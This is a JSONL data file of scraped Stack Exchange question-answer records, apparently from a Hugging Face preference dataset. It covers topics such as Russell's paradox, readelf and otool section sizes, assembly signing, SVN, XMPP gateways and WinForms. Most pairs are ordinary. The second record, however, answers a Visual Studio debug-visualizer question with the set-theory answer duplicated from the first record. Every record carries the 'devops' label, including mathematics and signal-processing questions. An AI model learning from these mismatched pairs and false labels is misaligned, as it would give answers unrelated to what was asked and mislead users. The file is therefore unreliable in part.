{"id": "hf_9fdbdfbb151c", "question": "<p>Let X be the set of all sets that do not contain themselves. Is X a member of X?</p>\n", "question_body": "", "answer": "The question is ill-posed in the standard\nZFC\n(Zermelo-Fraenkel + axiom of Choice) set theory because the object thus defined is not a set.\nSince (again, assuming standard ZFC) your\nclass\n{x : x\\not\\in x} is not a set, the answer becomes no, it's not an element of itself (even as a class) since only sets can be elements of classes or sets.\nBy the way, as soon as you agree to the\naxiom of foundation\n, no set can be an element of itself.\nOf course the nice thing about math is you can choose whichever axioms you want :) but believing in paradoxes is just weird.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.165479"}
{"id": "hf_9a2ea1866219", "question": "<p>I am learning to write a debug visualizer in vs2008 C#. But keep getting the error saying that MyDebugVisualizer dll can't be loaded when I am in debug mode and click the magnifying glass icon.</p>\n\n<p>My app project is referencing the visualizer project. Before the type definition I have:</p>\n\n<p>[DebuggerVisualizer(typeof(MyVisualizer))]\n[Serializable]</p>\n\n<p>I tried putting the visualizer dll in:\nC:\\Program Files\\Microsoft Visual Studio 9.0\\Common7\\Packages\\Debugger\\Visualizers\nor\nC:\\Documents and Settings\\zlee\\My Documents\\Visual Studio 2008\\Visualizers</p>\n\n<p>Is there something else missing?</p>\n", "question_body": "", "answer": "The question is ill-posed in the standard\nZFC\n(Zermelo-Fraenkel + axiom of Choice) set theory because the object thus defined is not a set.\nSince (again, assuming standard ZFC) your\nclass\n{x : x\\not\\in x} is not a set, the answer becomes no, it's not an element of itself (even as a class) since only sets can be elements of classes or sets.\nBy the way, as soon as you agree to the\naxiom of foundation\n, no set can be an element of itself.\nOf course the nice thing about math is you can choose whichever axioms you want :) but believing in paradoxes is just weird.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.190698"}
{"id": "hf_4acbdd682791", "question": "<p>I am a developer.  An architect on good days.  Somehow I find myself also being the DBA for my small company.  My background is fair in the DB arts but I have never been a full fledged DBA.  My question is what do I have to do to ensure a realiable and reasonably functional database environment with as little actual effort as possible?</p>\n\n<p>I am sure that I need to make sure that backups are being performed and that is being done.  That is an easy one.  What else should I be doing on a consistant basis?  </p>\n", "question_body": "", "answer": "I would suggest:\nA script to quickly restore the latest backup of a database, in case it gets corrupted\nWhat kind of backups are you doing?  Full backups each day, or incremental every hour, etc?\nSome scripts to create new users and grant them basic access.\nHowever, the number one suggestion is to limit as much as possible the power other users have, this will greatly reduce the chance of stuff getting badly messed up.  Servers that have everyone as an sa tend to get screwed up quicker than servers that are locked down.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.215993"}
{"id": "hf_0a19efe8b794", "question": "<p>I have a solution consisting of five projects, each of which compile to separate assemblies. Right now I'm code-signing them, but I'm pretty sure I'm doing it wrong. What's the best practice here?</p>\n\n<ul>\n<li>Sign each with a different key; make sure the passwords are different</li>\n<li>Sign each with a different key; use the same password if you want</li>\n<li>Sign each with the same key</li>\n<li>Something else entirely</li>\n</ul>\n\n<p>Basically I'm not quite sure what \"signing\" does to them, or what the best practices are here, so a more generally discussion would be good. All I really know is that <a href=\"http://en.wikipedia.org/wiki/FxCop\" rel=\"noreferrer\">FxCop</a> yelled at me, and it was easy to fix by clicking the \"Sign this assembly\" checkbox and generating a .pfx file using Visual Studio (2008).</p>\n", "question_body": "", "answer": "If your only objective is to stop FxCop from yelling at you, then you have found the best practice.\nThe best practice for signing your assemblies is something that is completely dependent on your objectives and needs.  We would need more information like your intended deployment:\nFor personal use\nFor use on corporate network PC's as a client application\nRunning on a web server\nRunning in SQL Server\nDownloaded over the internet\nSold on a CD in shrink wrap\nUploaded straight into a cybernetic brain\nEtc.\nGenerally you use code signing to verify that the Assemblies came from a specific trusted source and have not been modified.\nSo each with the same key is fine.\nNow how that trust and identity is determined is another story.\nUPDATE:\nHow this benefits your end users when you are deploying over the web is if you have obtained a\nsoftware signing certificate from a certificate authority\n.  Then when they download your assemblies they can verify they came from\nDomenic's Software Emporium\n, and they haven't been modified or corrupted along the way.  You will also want to sign the installer when it is downloaded.  This prevents the warning that some browsers display that it has been obtained from an unknown source.\nNote, you will pay for a software signing certificate.  What you get is the certificate authority become the trusted 3rd party who verifies you are who you say you are.  This works because of a web of trust that traces its way back to a root certificate that is installed in their operating system.  There are a few certificate authorities to choose from, but you will want to make sure they are supported by the root certificates on the target operating system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.271093"}
{"id": "hf_d2e8f7c62da0", "question": "<p>I want to be able to get an estimate of how much code &amp; static data is used by my C++ program?</p>\n\n<p>Is there a way to find this out by looking at the executable or object files?  Or perhaps something I can do at runtime?</p>\n\n<p>Will objdump &amp; readelf help?</p>\n", "question_body": "", "answer": "```\nreadelf\n```\nwill indeed help. You can use the\n```\n-S\n```\noption; that will show the sizes of all sections.\n```\n.text\n```\nis (the bulk of) your executable code.\n```\n.data\n```\nand\n```\n.rodata\n```\nis your static data. There are other sections too, some of which are used at runtime, others only at link time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.424976"}
{"id": "hf_d1da48d059ff", "question": "<p>I want to be able to get an estimate of how much code &amp; static data is used by my C++ program?</p>\n\n<p>Is there a way to find this out by looking at the executable or object files?  Or perhaps something I can do at runtime?</p>\n\n<p>Will otool help?</p>\n", "question_body": "", "answer": "I think otool can help. Specifically, \"otool -s {segment} {section}\" should print out the details. I'm not sure if you can get information about __DATA or __TEXT without specifying a section. Maybe those sizes are reported in the mach header: \"otool -h\"?\n```\n```\notool -s  __DATA __data MyApp.bundle/Contents/MacOS/MyApp\notool -s __TEXT __text MyApp.bundle/Contents/MacOS/MyApp\n```\n```\nAnyway, Apple documents what gets copied into each section per-segment here:\nApple's mach-o format documentation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.474911"}
{"id": "hf_36da126fc120", "question": "<p>Graphics and audio editing and processing software often contain functions called \"High-Pass Filter\" and \"Low-Pass Filter\".  Exactly what do these do, and what are the algorithms for implementing them?</p>\n", "question_body": "", "answer": "Wikipedia:\nHigh-pass filter\nLow-pass filter\nBand-pass filter\nThese \"high\", \"low\", and \"band\" terms refer to\nfrequencies\n. In high-pass, you try to remove low frequencies. In low-pass, you try to remove high. In band pass, you only allow a continuous frequency range to remain.\nChoosing the cut-off frequency depends upon your application. Coding these filters can either be done by simulating RC circuits or by playing around with Fourier transforms of your time-based data. See the wikipedia articles for code examples.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.548392"}
{"id": "hf_bd449ebf5a53", "question": "<p>Is there an easy way to set the zoom level for a windows form in C#?  In VBA there was a zoom property of the form.</p>\n", "question_body": "", "answer": "There is no way (that I know of) to do what you ask with typical WinForms.\nIf you're doing custom painting/drawing, you can zoom that by using a zoom transform, but so far as I know there is no \"Zoom\" property for the form in the entire world of .NET and native Windows/C++ APIs combined.\nYou could probably rig something yourself such that you scale controls by a constant factor. And you can probably find 3rd-party controls/surfaces which support this. And who knows what is possible with WPF. But in a typical WinForms world, no.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.572883"}
{"id": "hf_ea79b4934eb1", "question": "<p>What's the best way to go about validating that a document follows some version of HTML (prefereably that I can specify)? I'd like to be able to know where the failures occur, as in a web-based validator, except in a native Python app.</p>\n", "question_body": "", "answer": "XHTML is easy, use\nlxml\n.\n```\n```\nfrom lxml import etree\nfrom StringIO import StringIO\netree.parse(StringIO(html), etree.HTMLParser(recover=False))\n```\n```\nHTML is harder, since there's traditionally not been as much interest in validation among the HTML crowd (run StackOverflow itself through a validator, yikes). The easiest solution would be to execute external applications such as\nnsgmls\nor\nOpenJade\n, and then parse their output.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.596391"}
{"id": "hf_4a7f5de29bfb", "question": "<p>Doug McCune had created something that was exactly what I needed (<a href=\"http://dougmccune.com/blog/2007/05/10/analyze-your-actionscript-code-with-this-apollo-app/\" rel=\"nofollow noreferrer\">http://dougmccune.com/blog/2007/05/10/analyze-your-actionscript-code-with-this-apollo-app/</a>) but alas - it was for AIR beta 2.  I just would like some tool that I can run that would provide some decent metrics...any idea's?</p>\n", "question_body": "", "answer": "To get a rough estimate, you could always run\n```\nfind . -type f -exec cat {} \\; | wc -l\n```\nin the project directory if you're using Mac OS X.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.620018"}
{"id": "hf_cdd1afae7cc0", "question": "<p>I use this tool called <a href=\"http://www.lazycplusplus.com/\" rel=\"nofollow noreferrer\">Lazy C++</a> which breaks a single C++ .lzz file into a .h and .cpp file. I want <a href=\"http://makepp.sourceforge.net/\" rel=\"nofollow noreferrer\">Makepp</a> to expect both of these files to exist after my rule for building .lzz files, but I'm not sure how to put two targets into a single build line.</p>\n", "question_body": "", "answer": "I've never used Makepp personally, but since it's a drop-in replacement for GNU Make, you should be able to do something like:\n```\n```\nbuild: foo.h foo.cpp\n   g++ $(CFLAGS) foo.cpp -o $(LFLAGS) foo\n\nfoo.h foo.cpp: foo.lzz\n   lzz foo.lzz\n```\n```\nAlso not sure about the lzz invocation there, but that should help.  You can read more about this at\nhttp://theory.uwinnipeg.ca/gnu/make/make_37.html\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.642234"}
{"id": "hf_849c977bed10", "question": "<p>Wikipedia says SQL Server Express Edition is limited to \"one processor, 1 GB memory and 4 GB database files\".  Does anyone have practical experience with how well this scales?</p>\n", "question_body": "", "answer": "We have used SQL Server Express Edition in some of our smaller applications, maybe 5+ users, and smaller databases.  The 4GB is very limiting in a high transaction environments, and in some cases we have had to migrate our customer to SQL Server Standard Edition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.676007"}
{"id": "hf_ce5b3c075bee", "question": "<p>I'm looking to push my domain model into a WCF Service API and wanted to get some thoughts on lazy loading techniques with this type of setup.</p>\n\n<p>Any suggestions when taking this approach?</p>\n\n<hr>\n\n<p>when I implemented this technique and step into my app, just before the server returns my list it hits the get of each property that is supposed to be lazy loaded ... Thus eager loading. Could you explain this issue or suggest a resolution?</p>\n\n<p>Edit:  It <a href=\"http://benders-blog.blogspot.com/2007/01/lazy-loading-in-soa-world.html\" rel=\"nofollow noreferrer\">appears</a> you can use the XMLIgnore attribute so it doesn’t get looked at during serialization .. still reading up on this though</p>\n", "question_body": "", "answer": "As for any remoting architecture, you'll want to avoid loading a full object graph \"down the wire\" in an uncontrolled way (unless you have a trivially small number of objects).\nThe\nWikipedia article\nhas the standard techniques pretty much summarised (and in C#. too!). I've used both ghosts and value holders and they work pretty well.\nTo implement this kind of technique, make sure that you separate concerns strictly. On the server, your service contract implementation classes should be the only bits of the code that work with data contracts. On the client, the service access layer should be the only code that works with the proxies.\nLayering like this lets you adjust the way that the service is implemented relatively independently of the UI layers calling the service and the business tier that's being called. It also gives you half a chance of unit testing!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.699499"}
{"id": "hf_36a183bca31c", "question": "<p>Is there a Ruby equivalent for Python's \"is\"? It tests whether two objects are identical (i.e. have the same memory location).</p>\n", "question_body": "", "answer": "Use\n```\na.equal? b\n```\nhttp://www.ruby-doc.org/core/classes/Object.html\nUnlike ==, the equal? method should never be overridden by subclasses: it is used to determine object identity (that is, a.equal?(b) iff a is the same object as b).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.785900"}
{"id": "hf_a380fc9a922c", "question": "<p>I'm interested in using Office 2007 to convert between the pre-2007 binary formats (.doc, .xls, .ppt) and the new Office Open XML formats (.docx, .xlsx, .pptx)</p>\n\n<p>How would I do this? I'd like to write a simple command line app that takes in two filenames (input and output) and perhaps the source and/or destination types, and performs the conversion.</p>\n", "question_body": "", "answer": "Microsoft has a page which gives several examples of writing scripts to \"drive\" MS Word.\nOne such example\nshows how to convert from a Word document to HTML.  By changing the last parameter to any values listed\nhere\n, you can get the output in different formats.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.811207"}
{"id": "hf_44f59e215fb1", "question": "<p>I've been using Window Home Server for my backups here at home for most of a year now, and I'm really pleased with it.  It's far better than the software I was using previously (Acronis).  I'm thinking about a backup strategy for my work machine and I'd like to know how WHS compares with Vista's built-in backup and restore features.  The plan is to do a full backup to a local external hard drive and backup the documents folder to a network drive on the server.  Anyone have experience using the Vista backup feature like this?</p>\n", "question_body": "", "answer": "Chris,\nThey're different beasts. WHS backup is pretty much automatic and uses deltas - Vista's is manual and I don't believe offers incremental updates.\nWhile your solution (Vista + network copy) would preserve your data it has two problems I an see;\nYour documents will only have the latest revision. If you find something was corrupted a month ago it could be very awkward to recover it. Vista's shadow copies may help though.\nAs soon as you install a program/patch/config your Vista backup is out of date and needs remade, or these repeated if you reinstall.\nThese might not be dealbreakers and indeed Vista's backup is pretty decent, it's just nowhere near as good as WHS. In my opinion WHS leaves almost everything else standing, you can be sure this tech will be in the \"big brother\" server versions shortly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.848988"}
{"id": "hf_d83f05312d94", "question": "<p>I am ready to start using SVN, but I have NO (as in the money required for free beer) experience with source control.  I have installed subversion on my server (that was easy, 'apt-get install subversion') but now I don't know what to do, how to configure it, or how to use it.<br /><br />What suggestions do you have, and where can I find good resources to learn to start using it?<br /><br />\nUpdate:<br />\nO.K. So the feedback has been great and I have read through a bit of it but I want to clarify my question by saying that I am looking for more information on how to actually go about setting my up my repositories, clients, server, etc.  I know that I could do a quick Google search and find dozens (or more) resources but I'm hoping that someone whom has experience with subversion and a client(I have installed tortoise) could suggest a good reference that will be reliable, and have quality content.</p>\n", "question_body": "", "answer": "Eric Sink has an\nexcellent series\non source code control aimed at beginners. For Subversion specifics, including setting up and administering a server, the\nSubversion book\nis a great resource, and includes a section with examples of a typical session with Subversion (checkout, commit, merging and updating basics).\nUpdate:\nI forgot to mention that for beginners, I'd also recommend messing around in a graphical client, which removes the command-line hassle from the learning experience.\nRapidSVN\nis a reasonable cross-platform client. You'll also find that common IDEs either come with Subversion support, or have plugins which can be installed, which allow most version control operations to be performed within that environment.\n@John Millikin:\nWhile setting up a Subversion server can be complicated, depending on one's general admin experience, don't forget that you don't need to do that just to mess about with a repository and get to grips with the basics - the client can interact with a repository in the local filesystem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.878041"}
{"id": "hf_28712a7b2dcf", "question": "<p>If I have a separate system with its own concept of users and presence, what is the most appropriate architecture for creating a bridge to an XMPP server network?  As far as I can tell there are three primary ways:</p>\n\n<ol>\n<li><p>Act as a server.  This creates one touchpoint, but I fear it has implications for compatibility, and potentially creates complexity in my system for emulating a server.</p></li>\n<li><p>Act as a clients.  This seems to imply that I need one connection per user in my system, which just isn't going to scale well.</p></li>\n<li><p>I've heard of an XMPP gateway protocol, but it's unclear if this is any better than the client solution.  I also can't tell if this is standard or not.</p></li>\n</ol>\n\n<p>Any suggestions or tradeoffs would be appreciated.  For example, would any of these solutions require running code inside the target XMPP server (not likely something I can do).</p>\n", "question_body": "", "answer": "The XMPP gateway protocol you've heard of is most likely to do with transports.  A transport is a server that connects to both a XMPP server and a non-XMPP server.  By running a transport, I can use my Jabber client to talk to someone using, say, MSN Messenger.\nA transport typically connects once to the remote network for each JID that it sees as online.  That is, it's your option 2 in reverse.  This is because there is no special relationship between the transport and the non-XMPP network; the transport is simply acting as a bunch of regular clients.  For this to work, XMPP clients must first register with the transport, giving login credentials for the remote network, and allowing the transport to view their presence.\nThe only reason this has a chance of scaling better is that there can be many transports for the same remote network.  For example, my Jabber server could run a transport to MSN, another Jabber server could run another one, and so on, each one providing connections for a different subset of XMPP users.  While this spreads out the load on the Jabber side, and load balancing on your system may spread out the load as well, it still requires many connections between the two systems.\nIn your case, because (I assume) the non-XMPP side of things is cooperating, putting a XMPP server interface on the non-XMPP server is likely your best bet.  That server interface is best suited for managing the mapping between XMPP JIDs and how that JID will appear on its own network, rather than forcing XMPP users to register and so on.\nIn case you haven't seen these, you might find them useful:\nhttp://www.jabber.org/jabber-for-geeks/technology-overview\nhttp://www.xmpp.org/protocols/\nhttp://www.xmpp.org/extensions/\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.901825"}
{"id": "hf_38c7397e6ea5", "question": "<p>I've encountered the term \"multi-agent computing\" as of late, and I don't quite get what it is. I've read a book about it, but that didn't answer the fundamental question of what an agent was.</p>\n\n<p>Does someone out there have a pointer to some reference which is clear and concise and answers the question without a load of bullshit/marketing speak? I want to know if this is something I should familiarise myself, or whether it's some crap I can probably ignore, because I honestly can't tell.</p>\n", "question_body": "", "answer": "A multi-agent system is a concept borrowed from AI. It's almost like a virtual world where you have agents that are able to observe, communicate, and react. To give an example, you might have a memory allocation agent that you have to ask for memory and it decides whether or not to give it to you. Or you might have an agent that monitors a web server and restarts it if it hangs. The main goal behind multiagent systems is to have a more Smalltalk-like communication system between different parts of the system in order to get everything to work together, as opposed to more top-down directives that come from a central program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.930803"}
{"id": "hf_2c95c7c3b244", "question": "<p>I'm trying to make a two-column page using a div-based layout (no tables please!). Problem is, I can't grow the left div to match the height of the right one.  My right div typically has a lot of content.  </p>\n\n<p>Here's a paired down example of my template to illustrate the problem.</p>\n\n<pre><code>&lt;div style=\"float:left; width: 150px; border: 1px solid;\"&gt;\n  &lt;ul&gt;\n    &lt;li&gt;nav1&lt;/li&gt;\n    &lt;li&gt;nav2&lt;/li&gt;\n    &lt;li&gt;nav3&lt;/li&gt;\n    &lt;li&gt;nav4&lt;/li&gt;\n  &lt;/ul&gt;\n&lt;/div&gt;\n&lt;div style=\"float:left; width: 250px\"&gt;\nLorem ipsum dolor sit amet, consectetur adipisicing elit,\nsed do eiusmod tempor incididunt ut labore et dolore magna\n....\n&lt;/div&gt;\n</code></pre>\n", "question_body": "", "answer": "Your simplest answer lies in the next version of css (3), which currently no browser supports.\nFor now you are relegated to calculating heights in javascript and setting them on the left side.\nIf the navigation is so important to be positioned in such a way, run it along the top.\nyou could also do a visual trick by moving the borders to the container and the bigger inner, and make it appear to be the same size.\nthis makes it look the same, but it isn't.\n```\n```\n<div style=\"border-left:solid 1px black;border-bottom:solid 1px black;\">\n  <div style=\"float:left; width: 150px; border-top: 1px solid;\">\n    <ul>\n     <li>nav1</li>\n     <li>nav2</li>\n     <li>nav3</li>\n     <li>nav4</li>\n    </ul>\n </div>\n <div style=\"float:left; width: 250px; border:solid 1px black;border-bottom:0;\">\n  Lorem ipsum dolor sit amet, consectetur adipisicing elit,\n  sed do eiusmod tempor incididunt ut labore et dolore magna\n  Lorem ipsum dolor sit amet, consectetur adipisicing elit,\n  ...\n </div>\n <div style=\"clear:both;\" ></div>\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:20.954180"}
{"id": "hf_5e228e9f6ab2", "question": "<p>According to <a href=\"http://msdn.microsoft.com/en-us/library/bb386454.aspx\" rel=\"noreferrer\">Microsoft</a> the FileUpload control is not compatible with an AJAX UpdatePanel. </p>\n\n<p>I am aware that a PostBackTrigger can be added to the submit button of the form like this:</p>\n\n<pre><code>&lt;Triggers&gt;\n  &lt;asp:PostBackTrigger ControlID=\"Button1\" /&gt;\n&lt;/Triggers&gt;\n</code></pre>\n\n<p>The problem is that this forces the form to perform a full post-back which voids out the whole point of using the UpdatePanel in the first place. Is there a workaround to this issue that does not cause the whole page to refresh?</p>\n", "question_body": "", "answer": "I know of a third party component that can do that. It's called\n\"\nswfupload\n\"\nand is free to use and open source, and uses javascript and flash to do the magic.\nhere is a list of the features they offer:\n(from their site)\nUpload multiple files at once by ctrl/shift-selecting in dialog\nJavascript callbacks on all events\nGet file information before upload starts\nStyle upload elements with XHTML and css\nDisplay information while files are uploading using HTML\nNo page reloads necessary\nWorks on all platforms/browsers that has Flash support.\nDegrades gracefully to normal HTML upload form if Flash or javascript is\n  unavailable\nControl filesize before upload starts\nOnly display chosen filetypes in dialog\nQueue uploads, remove/add files before starting upload\nThey also have a\ndemo area\nwhere you can play around with their control. That way you can make sure it is exactly what you want.\nWe used it in one of our projects and it has never failed us so far, so I think this is a safe bet.\noh and here is the download page:\nhttp://code.google.com/p/swfupload/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.058758"}
{"id": "hf_dcc3c2dca621", "question": "<p>Right now I'm developing mostly in C/C++, but I wrote some small utilities in Python to automatize some tasks and I really love it as language (especially the productivity). </p>\n\n<p>Except for the performances (a problem that could be sometimes solved thanks to the ease of interfacing Python with C modules), do you think it is proper for production use in the development of stand-alone complex applications (think for example to a word processor or a graphic tool)?</p>\n\n<p>What IDE would you suggest? The IDLE provided with Python is not enough even for small projects in my opinion.</p>\n", "question_body": "", "answer": "In my opinion python is more than ready for developing complex applications. I see pythons strength more on the server side than writing graphical clients. But have a look at\nhttp://www.resolversystems.com/\n. They develop a whole spreadsheet in python using the .net ironpython port.\nIf you are familiar with eclipse have a look at\npydev\nwhich provides auto-completion and debugging support for python with all the other eclipse goodies like svn support. The guy developing it has just been bought by\naptana\n, so this will be solid choice for the future.\n@Marcin\nCons: as a dynamic language, has way\n  worse IDE support (proper syntax\n  completion requires static typing,\n  whether explicit in Java or inferred\n  in SML),\nYou are right, that static analysis may not provide full syntax completion for dynamic languages, but I thing pydev gets the job done very well. Further more I have a different development style when programming python. I have always an ipython session open and with one F5 I do not only get the perfect completion from ipython, but object introspection and manipulation as well.\nBut if you want to write second Google\n  or Yahoo, you will be much better with\n  C# or Java.\nGoogle just rewrote jaiku\nto work on top of App Engine, all in python. And as far as I know they use a lot of python inside google too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.117561"}
{"id": "hf_6294c8907c39", "question": "<p>What is the Java analogue of .NET's XML serialization?</p>\n", "question_body": "", "answer": "If you're talking about automatic XML serialization of objects, check out\nCastor\n:\nCastor is an Open Source data binding framework for Java[tm]. It's the shortest path between Java objects, XML documents and relational tables. Castor provides Java-to-XML binding, Java-to-SQL persistence, and more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.178006"}
{"id": "hf_013e3135d096", "question": "<p>If I create a class <code>A</code> as follows:</p>\n\n<pre><code>class A:\n    def __init__(self):\n        self.name = 'A'\n</code></pre>\n\n<p>Inspecting the <code>__dict__</code> member looks like <code>{'name': 'A'}</code></p>\n\n<p>If however I create a class <code>B</code>:</p>\n\n<pre><code>class B:\n    name = 'B'\n</code></pre>\n\n<p><code>__dict__</code> is empty.</p>\n\n<p>What is the difference between the two, and why doesn't <code>name</code> show up in <code>B</code>'s <code>__dict__</code>?</p>\n", "question_body": "", "answer": "```\nB.name\n```\nis a class attribute, not an instance attribute.  It shows up in\n```\nB.__dict__\n```\n, but not in\n```\nb = B(); b.__dict__\n```\n.\nThe distinction is obscured somewhat because when you access an attribute on an instance, the class dict is a fallback.  So in the above example,\n```\nb.name\n```\nwill give you the value of\n```\nB.name\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.214589"}
{"id": "hf_97b0a6a5e384", "question": "<p>So we've discussed logging in passing at my place of work and I was wondering if some of you guys here could give me some ideas of your approaches?</p>\n\n<p>Typically our scenario is, no logging really at all, and mostly .NET apps, winforms/WPF clients talking through web services or direct to a db.</p>\n\n<p>So, the real question is, where or what would you log?  At the moment we have users reporting error messages - so I would assume log startups/shutdowns, exceptions...</p>\n\n<p>Do you take it to calls to the web services or db?  Page loads?</p>\n\n<p>How do you get a good idea of what the user was trying to do at the time?</p>\n\n<p>Is it better to go all the way and log everything across multiple attempts/days, or log only what you need to (given hdd is cheap).</p>\n\n<p>I guess that's a few questions, but I wanted to get more of an idea of what the actual practice is out there in larger shops!</p>\n", "question_body": "", "answer": "As a quick answer I would say to come up with a series of categories and have switchable logging levels, e.g. info, warning, error, critical, etc.\nThen make it easy to set the logging level to tune the level of detail that you need. Typically, set the logging level in a config file and stop and restart the app.\nI would also publicize to the developers what the meaning is for each of the levels.\nedit: I would also set up a system to rotate out, compress and archive log files on a regular basis, maybe nightly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.298860"}
{"id": "hf_620df7120a32", "question": "<p>Do you know any grid control compatible with .NET and Mono?</p>\n\n<p>DataGridView seems to be quite buggy on Mono, and GTK# controls depends on GTK+ so you need to install it in windows machines where, usually, it's not present.</p>\n", "question_body": "", "answer": "Which version did you try? Perhaps you should give\nMono 2.0 preview\na go, it might work for you (no, the Data* controls are not yet perfect, but they have improved greatly). From my experience GTK# controls on Windows are not that great either...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.347414"}
